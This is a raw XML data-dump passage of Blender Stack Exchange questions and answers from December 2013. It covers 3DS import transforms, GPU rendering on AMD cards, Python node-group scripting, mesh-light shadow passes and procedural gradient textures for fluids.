  <row Id="5405" PostTypeId="1" AcceptedAnswerId="5406" CreationDate="2013-12-09T13:33:01.933" Score="5" ViewCount="7972" Body="&lt;p&gt;When I import my tank file from 3ds format it appears in blender a little bit messed up like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8g5E5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I selected all messed up tanktracks and did &lt;em&gt;Origin to geometry&lt;/em&gt;.&#xA;Then they became almost correct, but not quite:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eJrXS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The tank tracks in front of the tank remained incorrectly rotated.&lt;/p&gt;&#xA;&lt;p&gt;They should look like this (this is how the tank appears in autocad)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oCXxQ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Why does this happen? Can anyone help me?&lt;br /&gt;&#xA;My tank is &lt;a href=&quot;http://files.mail.ru/E75542D098C145D5BD458214309A55CA&quot; rel=&quot;nofollow noreferrer&quot;&gt;here (35MB)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have blender 2.67.&lt;/p&gt;&#xA;" OwnerUserId="1803" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-08-28T04:21:08.870" Title="Objects transformations wrong when importing from 3ds" Tags="&lt;transforms&gt;&lt;import&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5406" PostTypeId="2" ParentId="5405" CreationDate="2013-12-09T14:10:30.593" Score="9" Body="&lt;p&gt;Select them all (they are selected by default after importing), press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; and &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to clear all the transformations.(Or go to the header menu &gt; &lt;strong&gt;Object&lt;/strong&gt; &gt; &lt;strong&gt;Clear&lt;/strong&gt; to find these operators.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c7rAT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.:&lt;/strong&gt; If the result still problematic, try toggling off the &lt;strong&gt;Apply Transform&lt;/strong&gt; in the left-hand panel in the Import window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WrAo8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;By doing so, The origins of all objects will go to one point. If you want move each origin to their individual geometry, just keep them selected, then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;, choose &lt;strong&gt;Origin to Geometry&lt;/strong&gt; or &lt;strong&gt;Origin to Center of Mass&lt;/strong&gt; to move them back to each individual objects.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-12-10T01:54:40.283" LastActivityDate="2013-12-10T01:54:40.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5407" PostTypeId="1" CreationDate="2013-12-09T15:43:07.133" Score="2" ViewCount="560" Body="&lt;p&gt;In my simple scene I have a very simple model and two cameras. From each camera I know the external parameters &lt;em&gt;Pi&lt;/em&gt; (from &lt;code&gt;bpy.data.objects['Cam0'].matrix_world&lt;/code&gt;) and both have the same internal parameters &lt;em&gt;K&lt;/em&gt;. Additionally, I have one rendered depthmap (z-buffer) per camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the depthmap I should be able to generate a point cloud &lt;em&gt;X&lt;/em&gt;, with &lt;em&gt;Xi = Pi^-1 xi&lt;/em&gt;, where x are the pixel scaled with its depth. However, if I combine the point clouds, they do not match, because they one is rotated away from the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is &lt;em&gt;P&lt;/em&gt; the used projection matrix (excluding &lt;em&gt;K&lt;/em&gt;), especially is the rotation of the camera correct in terms of what I want to achieve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I have uploaded a example that illustrates my problem. From the setting in the blend file I have generated two depthmaps (are both contained as exr and as ascii txt). Further, the Matlab example visualizes the rotation errror. &lt;a href=&quot;https://dl.dropboxusercontent.com/u/3115518/blend/multiview.tar.gz&quot; rel=&quot;nofollow&quot;&gt;Example&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1455" LastEditorUserId="1455" LastEditDate="2013-12-10T09:52:33.113" LastActivityDate="2013-12-10T09:52:33.113" Title="Combine depth images from two cameras using the world matrix" Tags="&lt;rendering&gt;&lt;camera&gt;&lt;geometry&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5408" PostTypeId="1" AcceptedAnswerId="5410" CreationDate="2013-12-09T16:00:14.007" Score="31" ViewCount="45614" Body="&lt;p&gt;After importing my footage in to the Movie Clip Editor, I find that it is not oriented the way I would like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/malNH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the easiest way to rotate this in Blender?&lt;/p&gt;&#xA;" OwnerUserId="1626" LastEditorUserId="1626" LastEditDate="2013-12-09T16:10:45.093" LastActivityDate="2020-10-10T18:19:22.143" Title="How to rotate source video in Movie Clip Editor - Blender 2.68" Tags="&lt;tracking&gt;&lt;video&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5409" PostTypeId="2" ParentId="5309" CreationDate="2013-12-09T16:07:59.860" Score="5" Body="&lt;p&gt;I recently rendered a scene with a mesh light that was a very thin loop which had a texture that was partially emissive. Very simple scene with just the lamp and a diffuse ground plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I turned MIS off for that lamp, it cut my render time from 5min to 3min for the same number of samples. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So MIS basically &quot;guides&quot; rays toward the material (for which it is turned on), so my suspicion is that my small, thin mesh light was getting a lot more samples than it really needed. The lamp really only needed about 10 samples to become totally clear (when it's the only thing in the scene), but MIS was giving it a lot more than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I'm not sure if my reasoning is correct, but the answer is: turning MIS off for my mesh light saved a lot of time.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-09T16:07:59.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5410" PostTypeId="2" ParentId="5408" CreationDate="2013-12-09T16:58:23.250" Score="19" Body="&lt;p&gt;You could add a transformation strip (&lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/vse/sequencer/strips/effects/introduction.html&quot; rel=&quot;noreferrer&quot;&gt;effect&lt;/a&gt;) in the VSE and set the rotation. See the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/vse/sequencer/strips/effects/transform.html&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt; for further details on available settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pNYnJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2019-04-03T05:09:10.283" LastActivityDate="2019-04-03T05:09:10.283" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="5411" PostTypeId="1" CreationDate="2013-12-09T18:13:28.013" Score="3" ViewCount="7879" Body="&lt;p&gt;So I don't have an option to turn on GPU rendering in settings. I only have the option for CPU rendering.&#xA;Here's my specs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ATI Radeon HD 7770 1GB  GDDR5 1GH&lt;/li&gt;&#xA;&lt;li&gt;AMD Phenom II 4x 960T 3GHz&lt;/li&gt;&#xA;&lt;li&gt;4Gb DDR3 1600MHz RAM&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My GPU driver is version 13.9.&#xA;I see people running fine with this GPU, but for some reason I don't have an option to turn it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to deliver my design tomorrow so I need this fast and CPU just can't render it that fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Blender 2.69 on Windows 8.1.&lt;/p&gt;&#xA;" OwnerUserId="1804" LastEditorUserId="20" LastEditDate="2013-12-09T18:50:18.573" LastActivityDate="2013-12-09T18:50:18.573" Title="ATI Radeon HD 7770 no GPU rendering?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2013-12-10T20:40:16.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="5412" PostTypeId="2" ParentId="5411" CreationDate="2013-12-09T18:47:42.433" Score="6" Body="&lt;p&gt;OpenCL isn't fully supported yet (which is what AMD/ATI cards use to render):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cycles has two GPU rendering modes: through CUDA, which is the&#xA;  preferred method for NVidia graphics cards; and OpenCL, which is&#xA;  intended to support rendering on AMD/ATI graphics cards. The&#xA;  implementation of OpenCL is only in an experimental stage and disabled&#xA;  in official builds. (&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/GPU_Rendering&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You could try to find a build on &lt;a href=&quot;http://graphicall.org&quot;&gt;GraphicAll&lt;/a&gt;, but there is no guarantee it'll work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend just rendering it on CPU. If you are really pressed for time, there are a few things you can do to speed things up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Set the size of the tiles lower&lt;/strong&gt; (Render Tab &gt; Performance). The CPU renders faster if the tiles are smaller (GPU renders faster on bigger tiles).&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Set the threads to fixed and set them as high as possible&lt;/strong&gt; (Render Tab &gt; Performance). This will make Blender use more threads which will speed up the render.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Turn the samples down&lt;/strong&gt;. It's fairly easy to remove a few fireflies later on in compositing, and will speed up your render time a lot.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-09T18:47:42.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5413" PostTypeId="1" AcceptedAnswerId="5446" CreationDate="2013-12-09T20:55:02.177" Score="14" ViewCount="5928" Body="&lt;p&gt;How can I connect nodes in a node group to the input or output sockets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This connection here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RMLex.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how to access the group &lt;code&gt;node_tree&lt;/code&gt;, and the Group node as well as the Group input/output nodes seem to be different than normal nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == &quot;NODE_EDITOR&quot;:&#xA;        override = {'screen': bpy.context.screen, 'area': area}&#xA;bpy.ops.node.select_all(override, action='DESELECT')&#xA;&#xA;tree = bpy.context.object.active_material.node_tree&#xA;nodes = tree.nodes&#xA;links = tree.links&#xA;&#xA;&#xA;node = nodes.new(type='ShaderNodeMath')&#xA;node.operation = &quot;ADD&quot;&#xA;node.location = (100,0)&#xA;node_add = node&#xA;&#xA;node = nodes.new(type='ShaderNodeMath')&#xA;node.operation = &quot;GREATER_THAN&quot;&#xA;node.name = &quot;greater&quot;&#xA;node.location = (-100,100)&#xA;links.new(node.outputs[&quot;Value&quot;], node_add.inputs[0])&#xA;&#xA;node = nodes.new(type='ShaderNodeMath')&#xA;node.operation = &quot;LESS_THAN&quot;&#xA;node.name = &quot;less&quot;&#xA;node.location = (-100,-100)&#xA;links.new(node.outputs[&quot;Value&quot;], node_add.inputs[1])&#xA;&#xA;bpy.ops.node.group_make(override)&#xA;bpy.ops.node.tree_socket_add(override, in_out='IN')&#xA;bpy.ops.node.tree_socket_add(override, in_out='IN')&#xA;bpy.ops.node.tree_socket_add(override, in_out='OUT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-12T23:09:30.413" Title="How to connect nodes to node group inputs and outputs in python?" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5414" PostTypeId="1" AcceptedAnswerId="5444" CreationDate="2013-12-09T21:10:38.240" Score="2" ViewCount="1136" Body="&lt;p&gt;I have been creating node groups with the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_2/bpy.ops.node.html?highlight=node%20group#bpy.ops.node.group_make&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;group_make&lt;/code&gt;&lt;/a&gt; operator, but there doesn't seem to be any way to set properties such as the label or name of the resulting group node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes it difficult to access this node later, and be sure that one is accessing the correct node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I specify node properties on creation?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2021-03-18T15:42:10.223" Title="How to specify the name of a node group when creating it from python?" Tags="&lt;python&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5415" PostTypeId="2" ParentId="5358" CreationDate="2013-12-09T21:51:56.390" Score="7" Body="&lt;p&gt;Here is a very basic example of what you're trying to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A control file holds some data in the format&#xA;Frame-no obj_name,value of 'Key 1'&#xA;I have only created 2 shape keys (basic and 'Key 1') to test the script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 Finger1,1&#xA;1 Finger2,1&#xA;1 Finger3,1&#xA;1 Finger4,1&#xA;10 Finger1,.5&#xA;20 Finger2,.5&#xA;30 Finger3,.5&#xA;40 Finger4,.5&#xA;50 Finger1,1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The python script reads the control file and adds keyframes for each line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;filename='C:\\dev\\finger_shape.txt'&#xA;&#xA;for line in open(filename):&#xA;    line=line.rstrip(&quot;\n&quot;)&#xA;    # Only append lines that have space in them.&#xA;    if line.find(&quot; &quot;) != -1 and line.find(&quot;#&quot;) == -1:&#xA;        # Split non comment lines of the format: Frame-no obj_name:value of 'Key 1'&#xA;        frame,obj_key= line.split(&quot; &quot;)&#xA;        obj,value=obj_key.split(&quot;,&quot;)        &#xA;        bpy.context.scene.frame_set( int( frame ))&#xA;        bpy.context.scene.objects.active = bpy.data.objects[ obj ]&#xA;        bpy.context.object.data.shape_keys.key_blocks['Key 1'].value = float(value)&#xA;        bpy.context.object.data.shape_keys.key_blocks['Key 1'].keyframe_insert('value')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k6Byd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding you comments on automatise the rendering you might find these posts interesting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/313/is-there-a-way-to-batch-render-multiple-scenes/315#315&quot;&gt;Is there a way to batch render multiple scenes?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1101/blender-rendering-automation-build-script/1104#1104&quot;&gt;Blender rendering automation (build script)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Parsing XML is not blender related but you should find examaples on SO:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1912434/how-do-i-parse-xml-in-python&quot;&gt;https://stackoverflow.com/questions/1912434/how-do-i-parse-xml-in-python&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-12-11T17:28:50.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5416" PostTypeId="1" CreationDate="2013-12-09T22:14:28.763" Score="6" ViewCount="2000" Body="&lt;p&gt;Why don't mesh lights affect the shadow pass?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple scene with a mesh light and an area lamp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vELkv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can see that the mesh light does not affect the shadow pass:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AWBPK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ef49E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some technical limitation of mesh lights that prevents separating the shadows? &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-09T23:36:25.420" LastActivityDate="2016-02-12T14:13:52.783" Title="Why does the shadow pass not account for mesh lights?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5417" PostTypeId="2" ParentId="5416" CreationDate="2013-12-09T22:34:02.483" Score="7" Body="&lt;p&gt;That is simply how the shadow pass works. According to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Passes&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;, the shadow pass is only affected by lamp objects, not mesh objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mad a little experiment and was quite surprised, but It may shed some light on this. I also edited my previous speculation since I was wrong (check revision history).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I rendered a little scene with both an area light and a light emitting plane. It was the default cube sitting on a plane and on the opposite side from the light source was another plane with a glossy shader (roughness 0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the render with the area light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aXhWd.png&quot; alt=&quot;render with area light&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the render with the mesh light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1pFv4.png&quot; alt=&quot;render with mesh light&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The one with the area light have no caustics! This simplifies things a great deal when it comes to calculating shadows. Also, mesh light can be any shape while area light can only be square and rectangular. I'm guessing that devs made a choice. Mesh lights would be to complicated or expensive to calculate shadows for since they behave more complex. Area lights are simpler (only rectangles and no caustics) so calculating shadows are easier and/or cheaper.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2013-12-10T20:26:34.213" LastActivityDate="2013-12-10T20:26:34.213" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5418" PostTypeId="2" ParentId="5414" CreationDate="2013-12-09T23:17:07.060" Score="5" Body="&lt;p&gt;You can use something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;node_grp = bpy.data.node_groups[-1] # to get last created group&#xA;node_grp.name = &quot;Special Name&quot; # to set a name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="782" LastActivityDate="2013-12-09T23:17:07.060" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5419" PostTypeId="2" ParentId="5416" CreationDate="2013-12-09T23:28:46.417" Score="3" Body="&lt;p&gt;Like Gunslinger said in his answer, the shadow pass doesn't have mesh lights. However, I found a (rather imperfect) workaround. If you separate the diffuse direct, you can kind of control the mesh light shadows.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jD7CS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/gGfsZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-09T23:28:46.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5420" PostTypeId="2" ParentId="5394" CreationDate="2013-12-09T23:59:51.970" Score="14" Body="&lt;p&gt;I created a little utility addon that let's you easily run Text datablocks of your .blend (doesn't need to be saved) in the Python Console. Errors will show up there:&lt;br&gt;&lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?312821-Run-Script-in-PyConsole-%28Menu%29&quot;&gt;Run Script in PyConsole (Menu)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also check out the Script Runner addon:&lt;br&gt;&#xA;&lt;a href=&quot;http://goodspiritgraphics.com/software/products/script-runner-addon/&quot;&gt;http://goodspiritgraphics.com/software/products/script-runner-addon/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be possible to run scripts like with Script Runner, but in the context of the Python Console. Some more info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/info_tips_and_tricks.html#executing-external-scripts&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_69_release/info_tips_and_tricks.html#executing-external-scripts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="55" LastEditDate="2013-12-10T02:44:24.303" LastActivityDate="2013-12-10T02:44:24.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5421" PostTypeId="1" CreationDate="2013-12-10T00:51:27.487" Score="2" ViewCount="354" Body="&lt;p&gt;Hi I've been working with Blender for some time and I can't figure out how to export 3DS with pivot point. I tried exporting 3DS by putting 3D cursor and the object origin, but it doesn't seem to export the pivot point either. Need help on this.   &lt;/p&gt;&#xA;" OwnerUserId="1808" LastEditorUserId="696" LastEditDate="2013-12-11T00:46:32.890" LastActivityDate="2013-12-11T00:46:32.890" Title="Export 3DS file with pivot point in Blender" Tags="&lt;export&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5422" PostTypeId="1" AcceptedAnswerId="5423" CreationDate="2013-12-10T02:33:56.153" Score="16" ViewCount="5832" Body="&lt;p&gt;How to apply &lt;strong&gt;color gradient change on a fluid&lt;/strong&gt; such as in the following figure? The method should be capable to apply to all frames in the animation automatically. Consider it as simulation of being heated gradually in some specified locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LI53w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;br&gt;&#xA;Here is our result based on accepted answer: using procedural texture. Indeed, the answer is perfect for this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jMvAQ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One side comment is that as also mentioned in the answer, the color is not attached to the fluid so as you see the color of drop is changing as it moves. This could be our other question in other post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NEuEq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="599" LastEditDate="2013-12-10T08:25:44.190" LastActivityDate="2013-12-10T08:25:44.190" Title="How to apply gradient color change in an animation" Tags="&lt;materials&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5423" PostTypeId="2" ParentId="5422" CreationDate="2013-12-10T02:48:03.347" Score="15" Body="&lt;p&gt;If you want the color to stay in one place, you could use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Procedural/Blend&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Procedural gradient texture&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the wiki on &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Procedural&quot; rel=&quot;noreferrer&quot;&gt;procedural textures&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Procedural textures are textures that are defined mathematically. They&#xA;  are generally relatively simple to use, because they don't need to be&#xA;  mapped in a special way - which doesn't mean that procedural textures&#xA;  can't become very complex.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This works for fluid simulations because the procedural texture exists in 3D space, so UV unwrapping is unnecessary.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here is a node setup for cycles which uses a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures#Gradient_Texture&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Gradient texture&lt;/em&gt;&lt;/a&gt; node to mix the colors used by the shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can scale and translate the texture with the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/More#Mapping&quot; rel=&quot;noreferrer&quot;&gt;Mapping&lt;/a&gt;&lt;/em&gt; node. Note that it may be more intuitive to use the &lt;em&gt;Texture&lt;/em&gt; option (&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.69/Cycles#Nodes&quot; rel=&quot;noreferrer&quot;&gt;added in 2.69&lt;/a&gt;). This will apply transforms directly to the texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dUHef.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dUHef.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Unxcc.gif&quot; alt=&quot;example render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To do this in BI, create a new material and set the type to blend, then set the mapping coordinates to &lt;em&gt;Global&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MXPGk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture can be scaled and translated with the &lt;em&gt;Offset&lt;/em&gt;  and &lt;em&gt;Size&lt;/em&gt; settings in &lt;em&gt;Texture &gt; Mapping&lt;/em&gt; (Note that these values control the mapping of the texture, and not the position texture itself. One way to think of it is setting the size of the mesh to match the texture.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;An alternative to using the &lt;em&gt;mapping node&lt;/em&gt; or the &lt;em&gt;offset&lt;/em&gt; and &lt;em&gt;size&lt;/em&gt; settings is adjusting the texture space in &lt;em&gt;Object Data &gt; Texture space&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;). Note that you will need to use a &lt;em&gt;Texture coordinate&lt;/em&gt; vector for this to affect anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the texture to move with the animation you can use either animate the mapping or texture space coordinates, or use an empty object to define the texture space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that if you want the color to be attached to the liquid, using procedural gradient may be too 